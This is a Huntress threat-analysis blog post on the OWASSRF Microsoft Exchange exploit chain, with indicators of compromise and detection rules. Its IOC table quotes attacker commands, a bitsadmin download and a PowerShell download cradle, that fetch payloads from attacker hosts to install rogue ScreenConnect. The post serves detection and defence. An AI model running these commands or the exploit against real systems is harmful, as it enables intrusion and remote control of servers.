--- title: "OWASSRF Explained: Analyzing the Microsoft Exchange RCE Vulnerability" description: Huntress' analysis of a new exploit chain (called OWASSRF) that can lead to critical remote code execution on unpatched Exchange hosts. image: https://www.huntress.com/hubfs/Blog-ThreatAnalysis_OWASSRF%20Explained.png --- [Skip to content](https://3911692.hs-sites.com/blog/owassrf-explained-analyzing-the-microsoft-exchange-rce-vulnerability#main-content) [Close ](https://3911692.hs-sites.com/blog/owassrf-explained-analyzing-the-microsoft-exchange-rce-vulnerability#) [![Huntress Logo Wide Teal](https://3911692.hs-sites.com/hs-fs/hubfs/Huntress%20Logo%20Wide%20Teal.png?width=193&height=41&name=Huntress%20Logo%20Wide%20Teal.png)](https://www.huntress.com) [Team Huntress](https://3911692.hs-sites.com/blog/author/team-huntress) 12.29.2022 10 min read # OWASSRF Explained: Analyzing the Microsoft Exchange RCE Vulnerability [Previous Post ](https://3911692.hs-sites.com/blog/using-shodan-images-to-hunt-down-ransomware-groups) [Next Post ](https://3911692.hs-sites.com/blog/going-the-distance-cyber-predictions-for-2023) Share on Twitter Share on LinkedIn Share on Facebook Share on Reddit We simply couldn’t end the year 2022 on a calm note—hackers made sure of that with their latest Microsoft Exchange exploit.  On December 22, [Huntress observed](https://www.reddit.com/r/msp/comments/zt04qb/critical_vulnerability_microsoft_exchange_remote/) a significant increase in malicious PowerShell executions delivering a ConnectWise Control (ScreenConnect) payload on unpatched Exchange hosts using the exploit chain consisting of [CVE-2022-41080](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41080) and [CVE-2022-41082](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41082). This exploit chain was coined [“OWASSRF” by Crowdstrike](https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/), as it involves an Outlook Web Access server-side request forgery. The exploit chain relates to ProxyNotShell, but it bypasses the mitigation guidance Microsoft provided in September prior to releasing their patch. Keep reading for our analysis of how the OWASSRF exploit works, how it achieves remote code execution and what you should know to stay protected.  ## How OWASSRF Works To unpack how this exploit works, Huntress Security Researchers started by setting up a fresh Active Directory domain and Exchange server using Windows Server 2019 Evaluation Edition. We created an unprivileged user account residing only in the Domain Users security group with a new Exchange mailbox. Exchange 2019 CU2 (15.2.397.3) was used for testing.  The video below demonstrates using the leaked proof-of-concept (POC) code obtained by Huntress analysts, along with Metasploit, to gain code execution as `NT AUTHORITY\SYSTEM` on the unpatched Exchange server. The POC exploit first authenticates with valid user credentials to Outlook Web Access (OWA). These credentials do not need to be administrative, and must simply be capable of authenticating to OWA.  After authentication, the POC script communicates with the `/owa/mastermailbox%40outlook.com/powershell` endpoint via the PowerShell Remoting protocol implemented by the `pypsrp` Python package. The script sets up a local proxy, which forwards WSMan connections on localhost to the Exchange server via the authenticated HTTP session. The resulting proxy allows the attacker to execute arbitrary PowerShell code on the Exchange server as `NT AUTHORITY\SYSTEM` with only the credentials of an unprivileged user. It’s important to note that while we have not seen Metasploit being used in the wild, we showcased it in this example because it’s a commonly available framework that’s both flexible and easily captured in video format. The goal of our video is to demonstrate the initial access vector. The code execution gained from abusing this exploit could be used to deploy any number of tactics. For example, in the section below, we highlight an attacker’s use of the legitimate ScreenConnect remote access tool. ## Exploit Details and Analysis Starting on December 6, Huntress identified several systems across different customers that had ScreenConnect installed with the same instance ID (i.e., “`6db95d58cdf0a1a3`”). In one instance, the same system was observed with the rogue ScreenConnect instance ID installed on December 6 (method unknown), and then again on December 22 using the OWASSRF exploit. On December 14, Huntress began investigating an intrusion that used ProxyNotShell for initial access, and then used the native Windows utility bitsadmin.exe to download and install a rogue ScreenConnect instance, as illustrated in a tweet from Huntress ThreatOps Manager, Dray Agha. > 179.60.149.28 > - Initial access [#ProxyNotShell](https://twitter.com/hashtag/ProxyNotShell?src=hash&ref_src=twsrc%5Etfw) > - Bitsadmin to download tooling (http://179.60.149.28:4427/). > - Installed Screen Connect, ID: b81d2f07c9163bf5, URL: instance-cmjrni-relay.screenconnect[.]com > - Deployed Mimikatz > > Crawled and saved their tools, you can access... [pic.twitter.com/8vA3LNtpul](https://t.co/8vA3LNtpul) > > — Dray Agha (@Purp1eW0lf) [December 14, 2022](https://twitter.com/Purp1eW0lf/status/1602989967776808961?ref_src=twsrc%5Etfw) On December 22, Huntress analysts observed mass ProxyNotShell exploitation across our customer base, and spun up a “war room” to investigate and address the issue. The following day, our analysts leveraged alerts from [Managed Antivirus](https://3911692.hs-sites.com/platform/managed-antivirus) (i.e., Windows Defender) to identify neutralized attempts to deploy the ProxyNotShell variant. ## Indicators of Compromise The table below illustrates the exploit and post-exploit indicators of compromise (IOCs) Huntress has observed through available telemetry and analysis. | Type | Indicator | Notes / sha256 Hash | | --- | --- | --- | | Exploit | “`/owa/mastermailbox@outlook.com/powershell`” with response code `200` | IIS web server logs contain the referenced POST events with a 200 (Success) response code | | Post-Exploit #1a | `bitsadmin /transfer JobName /download /priority FOREGROUND http://179.60.149[.]28:4427/22.exe C:\\1.exe` | Bitsadmin command to download and install rogue ScreenConnect instance  | | Post-Exploit #1b | `powershell -nop -c Invoke-Expression (New-Object Net.WebClient).DownloadFile.Invoke(‘https://autodiscover.hofduncan[.]org/owa/auth/Current/themes/6.css’ ‘c:\\windows\\temp\\c.msi’) ` | Base64-encoded Powershell running as a child process of the web server (w3wp.exe)  | | Post-Exploit #2 | System Event Log Source: Service Control Manager System Event Log ID: “`7045`” | Look for ScreenConnect service installation in System Event Log.  | | Post-Exploit IOC | `179.60.149[.]28` | IP address for post-exploit download via bitsadmin | | Post-Exploit IOC | `155.138.240[.]251, 66.42.116[.]130` | IP address for post-exploit ScreenConnect C2 | | Post-Exploit IOC | `autodiscover.hofduncan[.]org` `mail.stannparish[.]org` | Domain for post-exploit ScreenConnect download via base64-encoded Powershell | | Post-Exploit IOC | ScreenConnect instance IDs: **`b81d2f07c9163bf5`**,  **`dc2f2d1c0840229c`**, `6db95d58cdf0a1a3` | Huntress observed three ScreenConnect instance IDs associated with rogue installs across multiple systems | While Huntress has observed post-exploitation activity on a number of systems since December 6, several of those systems were found to have Windows Defender disabled. In at least one instance where Windows Defender was enabled and updated, the initial exploit was detected alternately as “[`Exploit:Script/ExchgProxyRequest.A!gen`](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Exploit%3aScript%2fExchgProxyRequest.A!gen&threatid=2147834423&enterprise=0%2c1%2c%2c1%2c10%2cAMSI%2cC%3a%5cWindows%5cSystem32%5cinetsrv%5cw3wp.exe%2cNT)” and “`Trojan:Win32/IISExchgSpawnCMD.A`” and was quarantined.  Figure 1 illustrates an event ID 1117 record for the “`Trojan:Win32/IISExchgSpawnCMD.A`” detection, found in the `Microsoft-Windows-Windows Defender%4Operational` Event Log. ![](https://lh5.googleusercontent.com/V19MltUIO0TbwwrpLLEgv4WXoH2B0VEWgxsU3t3mQYCjSf_ElkLvPAk4wB-4diGxd5-5u-RTDsI9aGc0hirKb5t0SlV044-XQYsvVApUvJTNfFWhJXIyTseb4wC8N1GUQ54h-tF4_66VFXWRxWVaGzht1g0YokYkJEA--1Z7LcghJ_LKMfbRmUVMSB572A) *Figure 1: Example Windows Defender Event Log event ID 1117 record* The Windows Defender detection event illustrated above is one of many that occurred on that system. Other detections included attempts to use native Windows utilities `rundll32.exe` and `msiexec.exe` to install what appears to have been a rogue ScreenConnect instance. Following these detections, no other post-exploit activity was observed. In this instance, Huntress observed multiple exploit attempts spanning two weeks, all of which were detected and quarantined by Windows Defender. ## Detection Rules Huntress has several rules in place that detect post-exploitation activity associated with the observed OWASSRF exploit chain.  For example, the Sigma rule in Figure 2 locates any PowerShell process running as a child process of the IIS web server process (`w3wp.exe`), regardless of the PowerShell command line.  *Figure 2: Sigma rule to detect PowerShell being spawned via IIS web server* From the detection event, analysts can check for base64 encoding of the command line, as shown in Figure 3. ![Example of OWASSRF execution](https://www.huntress.com/hubfs/Example%20of%20OWASSRF%20execution.png) *Figure 3: Example of OWASSRF execution found using the above detection* While Figure 3 illustrates the command line observed as a result of running the proof-of-concept code against a test system, it serves solely as an example and was not observed in Huntress telemetry. Palo Alto’s [Unit42 has reported](https://unit42.paloaltonetworks.com/threat-brief-OWASSRF/) that attackers using the OWASSRF vulnerability commonly use the PowerShell reverse shell payload named SilverArrow for post-exploitation as seen in Figure 4. ![](https://lh3.googleusercontent.com/XHm35oRNa9fPSblSkRRTFXiMcn2vYzgIUf617nwO9d2ITn02DaHT5pLIZ1JyxHB0x-u0_m2Li8cxONdZwOaldfdRmcBbZ2qoZvaMm3i187buWqSZWyMoCwl-MSLEwspn56CuHF4yfbdCo7zD4_JKrMea4Z4CIHLXPKzUb9bT_tjOFuLJ09Ab_Npt2P9oBg) *Figure 4: Example of SilverArrow payload* Huntress has developed a Sigma rule capable of detecting SilverArrow and similar malicious PowerShell behavior. The rule, illustrated in Figure 5, detects the use of raw TCP sockets in PowerShell command lines as indicators of potentially malicious activity. ![](https://lh3.googleusercontent.com/dfvPiQNFrfGNS4SulTt_NBiU4djgl55-JApeqKMWZJbUV03EL0ks7hcWtrZCBTc0U93QpXOdMExpYKOmKiStzLjSY-xK1s8zmtKHzg3qG6Q-I8DMNCzwgA2FFql0Htr382uEodLftCLvr3W1HnkidutnARDz3527rkYKTWY5uyHNkJTZ0trsd8nrriWPBw) *Figure 5: Sigma rule to detect PowerShell reverse shell activity* The Sigma rules listed in Figures 2 and 5 are available at the [Huntress Threat Intel Github](https://github.com/huntresslabs/threat-intel) repository. Going forward, Huntress will be providing threat intelligence content (detections, Sigma or Yara rules, IOCs, etc.) through this repository to supplement other public content. ## Takeaway and Recommendations Threat actors are known to change their tactics, and they use new or novel means to compromise organizations. This is why visibility and detection and response are critical factors when it comes to inhibiting or even obviating attacks.  While threat actors moved to using “new” methods (i.e., OWASSRF) to gain access to organizations via MS Exchange servers, their post-exploit activities were visible and familiar to our analysts, allowing Huntress to detect, respond and recommend remediations to customers before further harm could take place. For example, other public reporting indicates that while Huntress and others were detecting, obviating and investigating these attacks, other more [successful attacks were leading to Play ransomware being deployed](https://www.darkreading.com/application-security/ransomware-attackers-bypass-microsoft-mitigation-proxynotshell-exploit). This demonstrates the incredible value of having a dedicated team of detection engineers, analysts and investigators on the lookout for your business. Also, if you haven’t patched your on-prem Exchange host on or after November 8, then do so ASAP. ![avatar](https://3911692.hs-sites.com/hs-fs/hubfs/Team-Huntress-Blog.png?width=290&height=290&name=Team-Huntress-Blog.png) #### [Team Huntress](https://3911692.hs-sites.com/blog/author/team-huntress) ## You May Also Like [ Matt Kiely 12.27.2023 15 min read ## Combating Emerging Microsoft 365 Tradecraft: Initial Access Threats evolve, and so does Huntress. Let’s talk about evolving our approach to hitting ... Start Reading ](https://3911692.hs-sites.com/blog/combating-emerging-microsoft-365-tradecraft-initial-access) [ Harlan Carvey 12.14.2023 4 min read ## Curling for Data: A Dive into a Threat Actor's Malicious TTPs Huntress analysts recently observed a novel set of tactics, techniques, and procedures ... Start Reading ](https://3911692.hs-sites.com/blog/curling-for-data-a-dive-into-a-threat-actors-malicious-ttps) [ Team Huntress 11.29.2023 5 min read ## MFT Exploitation and Adversary Operations Dive into our analysis of the CVE-2023-43117 threat in CrushFTP and the growing ... Start Reading ](https://3911692.hs-sites.com/blog/mft-exploitation-and-adversary-operations) [![Huntress](https://3911692.hs-sites.com/hubfs/Huntress-1.svg)](https://www.huntress.com) Deploy managed detection and response for endpoints and identities in minutes. [LinkedIn ](https://www.linkedin.com/company/huntress-labs/) [Twitter ](https://twitter.com/huntresslabs) [Facebook ](https://www.facebook.com/huntresslabs) [YouTube ](https://www.youtube.com/c/Huntress/featured) © 2026 Huntress - All rights reserved ```json { "@context" : "https://schema.org", "@type" : "VideoObject", "caption" : { "@type" : "MediaObject", "contentUrl" : "https://3911692.hs-sites.com/media-transcripts/96828475503/en.vtt", "inLanguage" : "en", "name" : "en Captions" }, "contentUrl" : "https://3911692.fs1.hubspotusercontent-na1.net/hubfs/3911692/ExchangePOC-DEC2022-Edited.mp4", "dateModified" : "2026-01-09T17:50:03.809Z", "duration" : "PT1M21.875S", "height" : 1080, "name" : "ExchangePOC-DEC2022-Edited", "thumbnailUrl" : "https://3911692.fs1.hubspotusercontent-na1.net/hubfs/3911692/ExchangePOC-DEC2022-Edited.mp4/medium.jpg?t=1767981003809", "uploadDate" : "2022-12-29T17:13:40.850Z", "width" : 1920 } ```